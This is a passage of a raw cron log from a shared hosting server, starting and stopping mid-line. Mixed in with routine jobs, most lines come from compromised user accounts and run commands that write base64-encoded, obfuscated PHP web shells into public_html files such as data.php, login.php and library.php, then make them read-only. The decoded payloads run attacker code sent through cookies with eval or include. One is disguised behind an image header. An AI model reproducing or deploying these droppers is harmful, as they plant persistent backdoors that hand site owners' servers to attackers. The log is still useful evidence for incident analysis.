zsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:56:02 medusa CROND[22904]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:56:02 medusa CROND[22907]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:56:02 medusa CROND[22911]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:56:02 medusa CROND[22912]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:56:02 medusa CROND[22910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:56:02 medusa CROND[22916]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:57:01 medusa CROND[11468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:57:01 medusa CROND[11536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:57:01 medusa CROND[11537]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:57:01 medusa CROND[11538]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 16:57:01 medusa CROND[11550]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:57:01 medusa CROND[11553]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:57:01 medusa CROND[11554]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:57:01 medusa CROND[11555]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:57:01 medusa CROND[11541]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:57:01 medusa CROND[11557]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:57:01 medusa CROND[11558]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:57:01 medusa CROND[11559]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:58:02 medusa CROND[465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:58:02 medusa CROND[501]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:58:02 medusa CROND[503]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:58:02 medusa CROND[504]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:58:02 medusa CROND[505]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:58:02 medusa CROND[506]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:58:02 medusa CROND[507]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:58:02 medusa CROND[508]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 16:58:02 medusa CROND[509]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:58:02 medusa CROND[511]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:58:02 medusa CROND[512]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:58:02 medusa CROND[514]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:58:02 medusa CROND[519]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiA